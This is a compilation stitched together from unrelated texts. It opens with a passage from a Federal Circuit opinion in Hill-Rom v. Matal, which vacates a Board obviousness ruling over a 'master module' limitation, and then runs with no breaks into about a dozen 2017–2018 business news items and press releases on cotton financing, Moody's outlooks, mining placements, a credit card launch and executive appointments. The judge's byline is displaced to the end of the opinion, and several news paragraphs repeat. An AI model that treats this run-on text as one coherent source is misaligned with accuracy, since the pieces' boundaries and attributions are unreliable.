As an initial matter, regardless of whether a master module is a physical structure, the Board erred to the extent it concluded that Zeltwanger's SDO is a master module. The '263 patent states that the prior art SDO protocoli.e., the same protocol disclosed in Zeltwangeris administered only by a master module. '263 patent, col. 34, ll. 78 (emphasis added). This statement makes clear that, although the existence of an SDO might imply the existence of a master module, an SDO is not itself a master module. Zeltwanger's SDO therefore cannot expressly satisfy the master module limitation recited in claims 3132, and the Board erred in so finding.

The Board also erred to the extent it concluded that a master module need not be a physical structure. Claim 2, from which claims 3132 depend, states that control modules are coupled to the serial data bus, and that each module includes a microcontroller and a transceiver operable to communicate over the serial data bus. J.A. 2490. The modules' inclusion of physical structure implies that they are themselves physical structures. The specification supports this interpretation. It states, for example, that the modules include [ ] a controller, a transceiver and associated electronics, and that the modules contain hardware that enables operation according to the CAN specifications. '263 patent, col. 29, ll. 4749; id. col. 32, ll. 6064. The specification further states that a logic module is electrically coupled to detachable siderail controller. Id. col. 29, ll. 6567; id. col. 30, ll. 15. Only a physical device can be electrically coupled to another physical device. And, because Zeltwanger's SDO is not a physical device, the Board's finding that Zeltwanger's SDO satisfies the master module limitation is unsupported by substantial evidence.

At oral argument before this court, the PTO asserted that the Examiner and Board did not actually equate an SDO with a master module, but instead used the term SDO as shorthand for an SDO module or a module that administers an SDO. Oral Argument at 14:0014:25, Hill-Rom Servs., Inc. v. Matal (No. 2016-2199), http://oralarguments.cafc.uscourts.gov/default.aspx?fl=2016-2199.mp3. We disagree with this characterization.

Stryker argued during reexamination that the SDO feature of [Zeltwanger's network protocol] meets the master module claim limitation. J.A. 2357. The Examiner appeared to agree, stating that Zeltwanger satisfies the master module limitation because it teaches that some modules are SDOs that transmit particular messages of any size compared to regular modules that are restricted to less than 8 bytes[.] J.A. 2666; J.A. 299192. The Board itself agreed with the Examiner's finding. Immedi-ately after quoting Hill-Rom's argument that SDOs are not physical structures, the Board noted that Hill-Rom failed to provide a definition of module that would exclude an SDO. Board Decision, 2016 WL 1270198, at *11. The Board also stated that it would be inconsistent for [Hill-Rom] to argue that an SDO cannot serve as a master. Id. We read these statements in context to mean that the Board found that an SDO is a master module. As described above, that finding is unsupported by substantial evidence.

The PTO conceded at oral argument that a master module is a physical structure. Oral Argument at 14:1014:15 (We are talking about hardware.). But, it asserted that the Board made alternative findings that support affirmance. Again, we disagree. The balance of the Board's analysis, in its entirety, is as follows:

With respect to the SDO to [sic] operating on a module, the Examiner found [i]t would have been obvious to one having ordinary skill in the art to make the diagnostic tool of Kummer an SDO module as taught in Zetlwanger [sic] (1999). One having ordinary skill in the art would do so to allow the diagnostic tool to operate as a master to send messages over the bus line of any size. Patent Owner did not identify a defect in this reasoning. Consequently, we affirm the rejection of claim 31 for the reasons set forth above.

Id. (citation omitted). To the extent the PTO argues that these statements imply that the Board found that Kummer's unmodified diagnostic tool is a master module, or that Zeltwanger inherently discloses a master module, we reject that argument. The statements cannot be fairly read to support such conclusions.

At most, these statements by the Board are ambigu-ous. One reading of the statements is that the Board found only that Zeltwanger's SDO is a master module, and that a skilled artisan would have been motivated to convert Kummer's diagnostic tool into an SDO. Another plausible reading is that, even if an SDO is not itself a master module, the Board found that a skilled artisan would have known that Kummer's diagnostic tool could act as a master module by administering Zeltwanger's SDO. Based on the cursory nature of the Board's analysis, however, we cannot determine which, if either, interpretation is correct. And we will not guess at the theory underlying the Board's action, SEC v. Chenery Corp., 332 U.S. 194, 19697 (1947), or assume that the Board meant one thing when it said something else.

Our review of the Board's decision is rooted not just in the law of obviousness but in basic principles of admin-istrative law. Personal Web Techs., LLC v. Apple, Inc., 848 F.3d 987, 992 (Fed. Cir. 2017). The Board must therefore explicate its factual conclusions, enabling us to verify readily whether those conclusions are indeed sup-ported by substantial evidence contained within the record. In re Gartside, 203 F.3d 1305, 1314 (Fed. Cir. 2000); see also Power Integrations, Inc. v. Lee, 797 F.3d 1318, 132627 (Fed. Cir. 2015) (holding that the Board's reasoning must be set out in sufficient detail to permit meaningful appellate review). The Board has not done so here, and it is not our role to make factual findings in the first instance. See Mittal Steel Point Lisas Ltd. v. United States, 542 F.3d 867, 875 (Fed. Cir. 2008) (Appellate courts do not make factual findings; they review them.). Because we are unable to discern the basis for the Board's obviousness determinations with respect to claims 3132, we vacate the Board's decision as to those claims. See Power Integrations, 797 F.3d at 132627.

We conclude, moreover, that the Board's motivation to combine analysis for this claim limitation is likewise cursory. Rather than articulate reasons why it agreed with the Examiner's analysis, the Board affirmed the rejection merely because, in its view, Hill-Rom did not identify a defect in the Examiner's reasoning. But even the Examiner's reasoningi.e., that a skilled artisan would combine the references to allow the diagnostic tool to operate as a master to send messages over the bus line of any sizeis conclusory. Board Decision, 2016 WL 1270198, at *11. In any event, it is not enough to merely summarize and reject arguments without explaining why the [Board] accepts the prevailing argument. In re Nuvasive, Inc., 842 F.3d 1376, 138384 (Fed. Cir. 2016). The Board's failure to clearly articulate a motivation to combine provides an additional reason for vacating its obviousness ruling. See id.; see also In re Van Os, 844 F.3d 1359, 136162 (Fed. Cir. 2017) (vacating obviousness determination where the Board did not explain why modifying the prior art would have been intuitive or otherwise identify a motivation to combine); Personal Web, 848 F.3d at 99394 (vacating obviousness ruling where Board's motivation to combine analysis was want-ing).

Because the Board affirmed the Examiner's rejection of claims 3132 based only on the combination of Kummer and Zeltwanger, we vacate the Board's decision as to those claims and remand for the Board to set out its reasoning in sufficient detail to permit meaningful appellate review under the proper interpretation of the master module limitation. Power Integrations, 797 F.3d at 132627.

IV. CONCLUSION

For the reasons stated above, we reverse the Board's anticipation and obviousness determinations based on Kummer as to claims 1 and 1415. We also vacate the Board's obvious determinations based on Kummer and Zeltwanger as to claims 3132, and remand for proceed-ings consistent with this opinion.

Although the Board affirmed the Examiner's rejections with respect to the other prior art of record, the Board's analysis was specifically directed to Kummer as a primary reference and did not address each of the rejections individually. Board Decision, 2016 WL 1270198, at *3. Neither Hill-Rom nor the PTO addresses in meaningful detail any prior art references other than Kummer and Zeltwanger. Thus, because the other references are not before us on appeal, we vacate the Board's decision as to claims 1, 1415, and 3132 with respect to all prior art combinations other than those involving Kummer and Zeltwanger. On remand, the Board is not permitted to reconsider its invalidity determinations based on references other than Kummer and Zeltwanger.

REVERSED IN PART, VACATED IN PART, AND REMANDED

COSTS

No costs.

FOOTNOTES

. Claim 2 is similar to claim 1 but does not include the periodically limitation, and instead specifies that the control system comprises a CAN. J.A. 2490.

. According to Hill-Rom, its arguments apply equally to all of the anticipation and obviousness rejections maintained by the Examiner as to all prior art of record. Appellant's Br. 1920. Neither Hill-Rom nor the PTO, however, addresses the other prior art references in any meaningful detail.

. Our case law establishes a high standard in order to rely on inherency to establish the existence of a claim limitation in the prior art in an obviousness analysis[.] Par Pharm., Inc. v. TWI Pharm., Inc., 773 F.3d 1186, 119596 (Fed. Cir. 2014). The limitation at issue either necessarily must be present, or must be the natural result of the combination of elements explicitly disclosed by the prior art. Id. There is no evidence in the record, and the Board did not find, that Stryker satisfied this standard.

. In its analysis of claim 2, from which claims 3132 depend, the Board incorporated by reference its decision in another inter partes reexamination of a different patent that involved the same parties and prior art. Board Decision, 2016 WL 1270198, at *89 (citing Stryker Corp. v. Hill-Rom Servs., Inc., No. 2014-6135 (P.T.A.B. Oct. 14, 2014), aff'd, 618 F. App'x 681 (Mem.) (Fed. Cir. 2015)). But in that proceeding, the Board found only that a skilled artisan would have been motivated to substitute Kummer's peer-to-peer network with Zeltwanger's (and other references') CAN. The Board did not address motivation to combine with respect to the master module limitation at issue here.

O'MALLEY, Circuit Judge.
The International Islamic Trade Financing Corporation (ITFC), a member of the Islamic Development Bank (IDB) group, has signed a syndicated agreement of 100 million with the government of Cameroon and the Societe de developpement du coton (Sodecoton) as the executing agency for the export of cotton and the import of various agricultural inputs.

The agreement was signed by Louis Paul Motaze, minister of economy, planning and regional development, and IDB Group governor for Cameroon, which took place at Yaounde, Cameroon.

"ITFC approved a total financing of $370.30 million for the republic of Cameroon since its inception in 2008, and eighty per cent of the approved financing went to the agricultural sector. This financing is tailored to suit the financing needs of cotton farmers, and resembles ITFC drive to create impact on the people in our member countries," said Abou Jallow, the special advisor to the CEO of ITFC and general manager of operations, ITFC.

The International Islamic Trade Financing Corporation (ITFC), a member of the Islamic Development Bank (IDB) group, has signed a syndicated agreement of 100 million with the government of Cameroon and the Societe de developpement du coton (Sodecoton) as the executing agency for the export of cotton and the import of various agricultural inputs.#

The financing is in line with Cameroons policy of promoting agricultural exports especially cotton. Sodecoton will ensure the distribution of the fertilizers, in addition to buy from farmers their raw cotton and process into cotton fibre for exporting. Cotton is one of the countrys main exports, and an important revenue generating vehicle for the country.

"This financing is directly providing means of livelihood to over 300,000 farmers and indirectly to over 3 million people in the north and far-north regions of Cameroon by enabling the government to provide the needed agricultural inputs to the farmers and ensure timely payment of cotton harvests of the farmers," Louis Paul Motaze said.

It is worth mentioning that Cameroon is one of the main oil-producing countries in Africa, thus in complementing the governments agricultural support programme, ITFC is contributing to the governments policy of diversifying the economy through the promotion of agriculture. (RR)

Fibre2Fashion News Desk  India
Global rating agency Moody's recently declared a stable 2018 outlook for non-financial corporations, car-makers, companies in the construction, cement, and textiles sectors, but a negative one on the real estate sector and telecommunication companies. The forecast stems from the expectation of a higher gross domestic product (GDP) growth of 7.6 per cent.The agency has a stable outlook for exploration and production companies, base metals and information technology (IT) services in the country. It also expects steel consumption to grow in the mid-single digits over the next 12-18 months, but lower than the GDP growth figure, supporting a stable outlook. Consolidation will also rise in the steel sector, according to the company.

Global rating agency Moody's recently declared a stable 2018 outlook for non-financial corporations, car-makers, companies in the construction, cement, and textiles sectors, but a negative one on the real estate sector and telecommunication companies. The forecast stems from the expectation of a higher gross domestic product (GDP) growth of 7.6 per cent.#

Higher GDP growth will lead to more sales volumes, which along with new production capacity and stabilising commodity prices, will back a pre-tax profit growth of 5-6 per cent over the next 12-18 months, Laura Acres, a managing director at Moody's corporate finance group, said in a report.She said further simplification of the goods and services tax (GST) and other structural reforms or improved commodity prices can result in higher operational profit growth, and provide means for deleveraging for some corporations, according to an Indian news agency.Intense competition and heavy debts continue to pressure cash flows in telecommunication companies, ultimately driving consolidation activity towards a three player market, said Moodys. (DS)

Fibre2Fashion News Desk  India
The National Retail Federation (NRF) has welcomed the recent vote by the National Labour Relations Board (NLRB) to reverse a controversial 2015 Obama regime ruling, which contradicted long-followed guidelines that said a company had to have direct control over the actions of a subcontractor or franchisees employees in order to be a joint employer.The expanded definition of a joint employer adopted then had increased businesses exposure to lawsuits.

The National Retail Federation (NRF) has welcomed the recent vote by the National Labour Relations Board (NLRB) to reverse a controversial 2015 Obama regime ruling, which contradicted long-followed guidelines that said a company had to have direct control over the actions of a subcontractor or franchisee's employees in order to be a joint employer.#

The NLRB voted 3-2 to reverse its 2015 ruling that waste management company Browning Ferris Industries could be considered a joint employer with Leadpoint Business Services, a staffing agency it subcontracted, even if it had only indirect or unexercised control over Leadpoints workers.The latest vote overturned the Browning-Ferris ruling and reinstated the previous standard requiring direct control, an NRF press release said.NRF is the worlds largest retail trade association, representing discount and department stores, home goods and specialty stores, main street merchants, grocers, wholesalers, chain restaurants and Internet retailers from the United States and more than 45 countries. (DS)

Fibre2Fashion News Desk  India
The recent pink bollworm incidence in certain cotton growing regions suggest that cotton production in India may be lower than the earlier forecast, according to the Mumbai office of the Foreign Agricultural Service (FAS) of the US department of agriculture. For marketing year (MY) 2017-18, FAS Mumbai forecast cotton production at 29.8 million 480 lb bales.

The revised forecast translates to 38.16 million bales of 170 kg on acreage of 12.3 million hectares. The FAS Mumbai forecast is 200,000 480 lb bales lower than USDA official estimate. This is due to the recent untimely rains and pest infestation issues in Telangana and Andhra Pradesh, which suggest lowering production. The all India yield is expected to be around 528 kg per hectare.

In Telangana, first pickings are over, but farmers are not rushing to the market to deliver seed cotton due to low market prices. Seed cotton prices in the wholesale market yards in Telangana are staying close to minimum support price (MSP) rates. However, much of the cotton is discounted due to poor quality issues like discolouration and high moisture content, FAS Mumbai said in its Global Agricultural Information Network (GAIN) report released this month.

The recent pink bollworm incidence in certain cotton growing regions suggest that cotton production in India may be lower than the earlier forecast, according to the Mumbai office of the Foreign Agricultural Service (FAS) of the US department of agriculture. For marketing year (MY) 2017-18, FAS Mumbai forecast cotton production at 29.8 million 480 lb bales.#

Further, there was high incidence of pink bollworm and sucking pests for the first picking in certain districts in Telangana. However, there seem to be limited issues with quality in the standing crop ready for the second picking.

In Andhra Pradesh, the government has issued advisories to install pheromone traps to monitor the incidence of pink bollworm along with the spraying of insecticides. A similar advisory was issued in northern Telangana.

According to the report, the higher incidences of pink bollworm infestations are due to a number of reasons ranging from resistance of bollworm to Bt toxins, use of spurious and/or unapproved seeds by farmers, limited or poor planting of refugia non-Bt cotton, cultivation of long duration hybrids which provides continuous food for the pest, poor integrated pest management practices, and storage of damaged cotton at gins and market yards.

As a result, while acreage in Telangana has increased significantly from last year, the yield is estimated lower at 492 kg per hectare.

In Maharashtra, too, trade sources indicate widespread reports of pink bollworm infestations (even after the third picking), but there are no official reports on the extent of the damage.

In Gujarat, cotton picking is underway with no pest or infestation issues reported. In Karnataka, the bolls are mature and the first picking of seed cotton in late sown crop, and second picking of early sown crop is in progress. In Tamil Nadu, the crop is at squaring and vegetative stages, and government advisories indicate farmers are to provide adequate drainage in rain-fed and irrigated crops in order to prevent water standing.

All India arrivals as of November 27, 2017, are reported at 6.5 million 480 lb. bales (8.3 million 170 kg bales/ 1.4 mmt) which is roughly 22 per cent of the forecast crop. Arrivals last year were around 13 per cent of the estimated crop on a much smaller overall crop size. (RKS)

Fibre2Fashion News Desk  India
Vancouver, British Columbia--(Newsfile Corp. - January 8, 2018) - Sienna Resources (TSXV: SIE) (FSE: A1XCQ0) (OTC Pink: SNNAF) is increasing the size of its recently announced non-brokered private placement. The company is now looking to raise gross proceeds of up to $2.5 million from the sale of up to 12,500,000 units priced at $0.20 per unit, with each unit consists of one share and one transferable warrant, with the warrant exercisable at $0.30 for 60 months.

InvestmentPitch Media has produced a "video" which discusses this news. If this link is not enabled, please visit www.InvestmentPitch.com and enter "Sienna" in the search box.





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In addition to accredited investors, the offering is open to current shareholders. The company is also relying on other Securities Commission exemptions allowing non-accredited investors to purchase the private placement provided they have obtained advice from a registered investment dealer.

The company received TSX Venture Exchange for the exploration and option agreement to acquire the Slattberg Cobalt-Nickel-Copper Project in Sweden. The project, consisting of two adjacent exploration permits comprising approximately 9,513 contiguous acres, is located 25 kilometres northwest of Falun, Sweden.

Slattberg is a historic mining camp hosting cobalt-nickel-copper rich massive sulphide mineralization that occurs within a two kilometre belt of historic nickel-copper mines. The project contains drill defined massive sulphide mineralization extending to approximately 100 metres in depth, remaining open for expansion at depth and along strike. The project is accessible year round, with nearby rail, power and 5 smelters in the Nordic region.

At least 12 historic mines are located on the property, with historic operations dating back to the late 1880s. These historic mines are positioned along an east-west trend of massive sulphide occurrences, developed in and around a similarly oriented body of "leptite", a local term used to describe rocks commonly associated with sulfide mineralization in Bergslagen.

Jason Gigliotti, President, stated: "We are very pleased to receive approval for this exciting cobalt-nickel-copper prospect. Cobalt prices have just crossed fresh nine year highs as of yesterday, and we look forward to advancing this prospect. There are 12 historic mines on this property and with modern mining approaches, we are very optimistic about what this project could contain. We expect to be drilling early 2018 as the project is drill ready now."

Sweden, with a long history of mining and host to some of Europe's largest active mines, is at the forefront of an exploration and development boom in the mining industry. The country's favorable business environment includes a low corporate income tax rate, a proactive geological survey, and broad public support for expert led resource extraction.

There are now more than 20 mega battery factories currently being planned or constructed globally, creating a massive demand for battery metals such as lithium, cobalt and nickel. With Europe rapidly moving towards electrification, Sweden has a unique position to establish large-scale battery production to support this transition with its clean and affordable energy, proximity to raw materials, and a strong industrial tradition.

Northvolt recently announced plans to build Europe's biggest electric car battery factory in its home country, Sweden. It is expected to be larger than Tesla's 'Gigafactory' in the US and LG Chem's proposed site in Poland.

The shares are trading at $0.29 and with 39.9 million shares outstanding, the company is capitalized at $11.6 million.

For more information, please visit the company's website at www.siennaresources.com, contact Jason Gigliotti, President, at 604-646-6900 or email info@siennaresources.com.

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Barry Morgan, CFO

bmorgan@investmentpitch.com
NEW DELHI (dpa-AFX) - India-based Dr. Reddy's Laboratories Ltd. (RDY) announced Tuesday that its US subsidiary has agreed to pay $5 million in a settlement with the US Government, in a case that is more than six years old, involving packaging for five blister-packed prescription products. In a joint filing by the parties, Dr. Reddy's and the US Department of Justice agreed to the settlement of the action without any adjudication of any issue of fact or law. Dr. Reddy's said it has taken this investigation seriously, cooperating with the government over the past six years. The safety of patients and consumers is of paramount importance to Dr. Reddy's, and the company firmly disagrees with the government's allegations. However, the company agreed to settle the case in order to avoid any unnecessary costs and the distractions of prolonged litigation. Dr. Reddy's said it is not aware of any reports that any child gained access to these products as a result of the packaging or that any of the products caused children harm as a result of the packaging. These products have not been distributed in the packaging at issue since June 2012. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.






Surabaya, East Java, Indonesia, Dec 19, 2017 - (ACN Newswire) - PT Bank Negara Indonesia Persero Tbk ("BNI") and PT JCB International Indonesia, a subsidiary of JCB International Co., Ltd., the international operations subsidiary of JCB Co., Ltd. ("JCB") today launch a new product of credit card for the mass segment, called BNI JCB Gold Card. This product, which comes in two designs: Generic and Doraemon Edition, is mainly targeting the first jobber, young, Japan lover and people who have a strong attraction to the Doraemon character.The launching ceremony was attended by President Director of JCB Indonesia, Mr. Koichiro Wada, and General Manager Card Business Division of BNI, Mrs. Corina Leyla Karnalies in Surabaya, on 19 December 2017. This new product will strengthen the relationship between BNI and JCB.Previously, BNI and JCB have issued a credit card for the platinum segment. By having BNI JCB Gold Card in the BNI product line, BNI and JCB can serve a wider segment, and present the BNI and JCB brand to the young generation with high quality services, benefits and attractive designs to meet the needs and progressive lifestyles of Indonesian customers.Talking about the Doraemon design card, Doraemon is one of the most famous characters not only in Japan but around the world. The Doraemon character is so close in the minds of children and even adults as a cheerful character in Indonesia. The popularity of Doraemon has a massive potential to make this new product attract specific segment customers that existing products did not reach. BNI and JCB will aim to have a more extensive presence with this new product that is the first Doraemon credit card in Indonesia.BNI - Card Business Division, Corina Leyla Karnalies, said, "BNI continues to meet the various needs of customers of BNI Credit Card product owners. BNI provides BNI JCB Gold Card members with a wide range of benefits including free annual member fee for the first year, and free for the second year if there is a transaction in the first year." In addition, BNI JCB Gold Card members are entitled to get 1 reward point for each Rp 2,500 spent. With these benefits, this BNI JCB Gold Card is suitable to be owned by young customers and first jobbers.In addition to these, that JCB provides various services to the customer. JCB has many privilege merchants across Indonesia including dining merchants and also has special programs with travel and e-commerce merchants. In terms of international services, JCB provides lounge service in the center of the city in several famous travel destinations such as Tokyo, Kyoto, Singapore, Hong Kong, Bangkok, Seoul, Taipei and Paris. With the BNI JCB Gold Card, customers can enjoy all these services. These services satisfy the needs of the target segment for this card.BNI has a long history as the first bank in Indonesia established by the national government in 1946, which contributes to positive growth in the credit card business. BNI is also sitting in the top level of the card market, in both the number of cards issued and the number of merchants acquired.Combining BNI achievements and strong network in Indonesia with JCB Japan quality and technology, we can be assured that this collaboration can accelerate the growth of electronic payment, deliver added value to merchants and provide a better experience for cardholders in more segments.About JCBJCB is a major global payment brand and a leading payment card issuer and acquirer in Japan. JCB launched its card business in Japan in 1961 and began expanding worldwide in 1981. As part of its international growth strategy, JCB has formed alliances with hundreds of leading banks and financial institutions globally to increase merchant coverage and card member base. As a comprehensive payment solution provider, JCB commits to provide responsive and high-quality service and products to all customers worldwide. For more information, please visit: www.global.jcb/en/ContactJCB Co., Ltd.Kumiko KidaCorporate CommunicationsTel: +81-3-5778-8353Email: jcb-pr@info.jcb.co.jpPT JCB International IndonesiaYosuke HiguchiGeneral ManagerTel: +62 21 3193 8104Email: y.higuchi@jcb-intl.idAbout BNIPT Bank Negara Indonesia (Persero) Tbk. or BNI was established on 5 July 1946 and became the first state-owned bank after independence of Indonesia. BNI served as a central bank and public bank as contained in Government Regulation in Lieu of Law No. 2/1946 before finally operating as a commercial bank since 1955. Until the end of the 3rd Quarter 2017, BNI has 2.102 outlets in 34 provinces and 420 regencies and cities. BNI has 32 Middle Credit Center (SKM), 24 Small Credit Center (SKC), and 12 Consumer & Retail Loan Center (LNC).Now, BNI has 17.966 ATMs in 34 provinces and 521 regencies and cities including 6 (six) ATMs overseas, namely 4 ATMs in Hong Kong and 2 ATMs in Singapore. Those ATM network can also be used for debit card transactions with Link, ATM Bersama, and Prima logo. BNI as a holding company has 4 subsidiaries, namely BNI Syariah (sharia banking), BNI Life (insurance), BNI Securities (stock market), and BNI Multifinance (financing). BNI Asset Management is a subsidiary of BNI Securities.Source: JCBBNICopyright 2017 ACN Newswire . All rights reserved.
KELKHEIM, Germany, December 19, 2017 /PRNewswire/ --

Christoph Schupphas been appointed with immediate effect as"Head of Global Communications and PR"with the German technology companyStaxter. In this new role, he is responsible for internal and external communication worldwide. Christoph Schuppjoins Staxter from thePR agency Burson-Marsteller, where his last post was Managing Director and Head of the Corporate Practiceadvising global companies in corporate and capital market communication as well as in the areas of crisis andreputation management,and providing strategic communication advice.

"With his comprehensive experience gained in renowned PR agencies, as a former Head of Corporate Communications with Citigroup Global Markets (Germany) and as a long-time Senior business journalist with Bloomberg TV, Christoph is an absolute dream appointment for us. We are very pleased to have been able to secure his services for Staxter", said Mark Rosiefsky, CEO of Staxter. "The unique business idea coupled with the experience and innovative strengths of the company founder very quickly convinced meabout Staxter and its creative team. Staxter is a very dynamic global growth story and I look forward to furthering the company's success by building global communications,"added Christoph Schupp.

Staxter is a worldwide web & mobile app available free of charge which is based on a self-developed software platform. The cloud-based and highly scalable end-user platform offers a digital ecosystem for the purchase and gifting of gift vouchers, on-line codes and mobile telephone credits - worldwide and with no service charges for the end user. The app is currently being launched in Germany and the United Kingdom onhttp://www.staxter.com/de-de and http://www.staxter.com/en-de - many other countries will follow in the coming months.

Staxter is being developed gradually with the objective of becoming the first globally available complete platform for digital banking and e-commerce. Thus, users will, for example, be able to carry out top-ups and transfers for pre-paid mobile accounts across the world in real time. As the first consumer solution, Staxter is going tocombine areas whichhave long belonged togetherand which will merge in the future: mobile banking, safe payment solutions, virtual payment solutions, one-stop-shop solutions, pay-as-you-go products, vouchers, credit notes, tickets, digital codes and much more.

About Staxter

Staxter GmbH is a German technology company specialising in the development and operation of a global value transformation platform. The platform combines the administration of vouchers, top-ups and customer accounts with modern money transfer methods in a user-friendly app. Staxter makes it possible for end customers to buy, redeem and giftdigital products, to top-up customer accounts and to make money transfers to all corners of the world using simple and inexpensive methods. That's why Staxter works together with different national and international partners. Staxter has made it its task tomake the consumer's everyday life simple and affordable - intelligent, secure, global.

Press contact Staxter

Christoph Schupp

Head of Global Communications and PR

media@staxter.com

+49(0)152-31896744


Hamilton County students Isabelle Sorensen and Annabelle Kelly were among winners the Tennessee Secretary of States office announced of its 2017 civics essay contest, an annual initiative created to encourage students to be actively engaged citizens.



Students were asked to write about citizenship with length requirements varying by grade level. Winners will receive a TNStars 529 College Savings Program scholarship and a trip to the State Capitol this spring. First place winners receive a $500 scholarship, with second and third place winners receiving $250 and $100 respectively.



Im thrilled more than 1,000 students from across the state wrote an essay for the contest. The students demonstrated a passion for actively participating in their communities at a young age, said Secretary of State Tre Hargett. Our long-term goal is to increase civic engagement across the state.



2017 Civics Essay Contest Winners



Ninth  12th Grade:

 First: Simon Jolly, Hardin Valley Academy (Knox County)

 Second: Karla Hines, Whitehaven High School (Shelby County)

 Third: Kennedy Cole, Mt. Juliet High School (Wilson County)

 Honorable Mention: Gaige Guyer, Powell High School (Knox County)



Sixth  Eighth Grade:

 First: Grace Darke, Christ the King School (Davidson County)

 Second: Isabelle Sorensen, East Hamilton Middle High School (Hamilton County)

 Third: Lauren Mansfield, Centertown Elementary School (Warren County)

 Honorable Mention: Lauren Perry, Westwood Middle School (Coffee County)



Third  Fifth Grade:

 First: Annabelle Kelly, Our Lady of Perpetual Help School (Hamilton County)

 Second: Asa Cullity, South Cumberland Elementary School (Cumberland County)

 Third: Sam Daugherty, Homeschool, Classical Conversations (Montgomery County)

 Honorable Mentions: Elsa Smith, Covenant Academy (Warren County); Maddie Boyd, Oak Elementary School (Shelby County)

Kindergarten  Second Grade:

 First: Maci Aylor, Blue Grass Elementary School (Knox County)

 Second: Kirsten Williams, Ezell-Harding Christian School (Davidson County)

 Third: Brady Watts, Sylvan Park Paideia Design Center (Davidson County)

 Honorable Mention: Ava Aldridge, Allons Elementary School (Overton County)



The contest, along with last years successful Student Mock Election, is part of the offices civic engagement program.



The civic engagement program also offers lesson plans based on the Tennessee Blue Book created by Tennessee teachers. The goal is to offer an easy way for teachers to incorporate civic engagement into their curriculum.



For more information on the essay contest, Student Mock Election or lesson plans, visit sos.tn.gov/civics.
HONG KONG, December 19, 2017 /PRNewswire/ --

Appointments of Chief Operating Officer, Chief Cybersecurity Officer, Chief Marketing Officer, and Platform Architect ahead of global rollout

Monaco, the pioneering payments and cryptocurrency platform, today announced a series of new appointments to its senior management team, with Erald Ghoos as Chief Operating Officer, Sean Rach as Chief Marketing Officer, Ken Baylor as Chief Cybersecurity Officer, and Weiyi Zhang as Platform Architect.

(Photo: http://mma.prnewswire.com/media/620739/Monaco_Erald_Ghoos.jpg )



(Photo: http://mma.prnewswire.com/media/620741/Monaco_Sean_Rach.jpg )

(Photo: http://mma.prnewswire.com/media/620740/Monaco_Ken_Baylor.jpg )



(Photo: http://mma.prnewswire.com/media/620742/Monaco_Weiyi_Zhang.jpg )



Ghoos, Baylor, Rach, and Zhang will report directly to Kris Marszalek, Co-Founder and CEO of Monaco. "As Monaco continues our international expansion to fulfil our vision of putting cryptocurrency in every wallet, I am confident the combined expertise of Ghoos, Baylor, Rach, and Zhang will pave our way to global success," said Marszalek. "We look forward to working together as a team to continue our efforts in being a fully-compliant industry leader in the cryptocurrency space."

Erald Ghoos, Chief Operating Officer

Erald Ghoos joins Monaco as Chief Operating Officer coming from Payreto, a startup offering payment solutions to financial institutions, where he led the company as Chief Operating Officer in its growth from a single product business to a full-service, global solutions provider. Ghoos' background also includes leadership roles in operations at companies including Funding Circle, AXA Bank, Equa Bank, and Paysafe. As Vice President of Risk and Financial Ops at Paysafe, Ghoos led a team of over 100 people responsible for risk, compliance, fraud, payments, banking network, bank relationships, underwriting, chargeback and collection handling, treasury, and reconciliation functions.

"My experience at Payreto and Paysafe will allow me to lead Monaco in its day-to-day operations and growth as we expand across the globe," said Ghoos. "I look forward to joining the team and working to advance our mission to bring cryptocurrency to every wallet."

Ken Baylor, Chief Cybersecurity Officer

Globally renowned security expert Dr. Ken Baylor joins the Monaco team as Chief Cybersecurity Officer. With over 20 years' experience, Baylor is a leader in data protection, information security, and regulatory compliance. He founded the Vendor Security Alliance, an industry standard for evaluating third party vendor security, which is relied on by thousands of global companies. He previously held senior security and compliance positions at Uber, Pivotal, Wells Fargo, Symantec, and McAfee. Baylor holds CISSP, CISM and CIPP/E certifications and was awarded Ph.D., law and MBA degrees.

"Security and compliance are of the utmost importance where cryptocurrency is involved," said Baylor. "I am happy to join Monaco and lead the team in prioritizing our users' safety."

Sean Rach, Chief Marketing Officer

Sean Rach has joined Monaco as Chief Marketing Officer. In his role, Rach will be responsible for promoting Monaco's global brand and building the company's credibility with key stakeholders to establish the company as a thought leader and innovator in the industry. Rach joins Monaco from Prudential Corporation Asia, where he was Chief Marketing Officer and had championed the development of integrated marketing solutions for Prudential's businesses in Asia. Prior to Prudential, Rach led the regional American Express account at Ogilvy & Mather, where his team launched the Cathay Pacific American Express card, one of the most successful co-brand cards to date. He also served as Managing Director of OgilvyOne Hong Kong, a 100+ person agency with clients including American Express, Western Union, BlackRock, SmarTone, and IBM.

"Monaco has an unrivaled value proposition for card holders. Joining the leadership team of Monaco at this stage of development is very exciting and I look forward to applying my experiences to expand the brand globally," said Rach.

Weiyi Zhang, Platform Architect

Dr. Weiyi Zhang joins the Monaco team as Platform Architect. He was most recently Vice President, Quantitative Trading at AP Capital Management in Hong Kong, where he led the development of an algorithmic trading platform and managed the Asian market arbitrage portfolio. Zhang was previously Vice President of Electronic Market Making at JP Morgan, where he led volatility trading strategy and arbitrage strategy development in the automated market making business. Prior to that, he was Quantitative Trading Strategist of Equity Derivative Trading at Deutsche Bank. He had also spent four years as Research Scientist at European Organization for Nuclear Research in Switzerland, where he worked on the LHC-ATLAS experiment to search for the "God Particle". Zhang holds a PhD in Computational Physics from the University of Pittsburgh.

"I am thrilled to join the Monaco team and apply the learnings from both banks and hedge funds to build a better product for Monaco's customers," said Zhang. "The vision we're pursuing is bold and I'm confident we can meaningfully contribute to taking cryptocurrency mainstream."

About Monaco

Monaco Technology GmbH with a vison of Cryptocurrency in Every WalletTM is the pioneering payments and cryptocurrency platform. The Monaco Visa card and mobile app allow users to buy, exchange, and spend fiat and cryptocurrencies, such as bitcoin and ethereum, at perfect interbank exchange rates. Founded in June 2016, Monaco raised US$26.7 million through one of the most successful Token Sale events to date. The company is headquartered in Switzerland with offices in Hong Kong and Singapore.

For more information on Monaco, please visit mona.co .Monaco Visa cards can be reserved with the Monaco app, available for download for iOS and Android users.
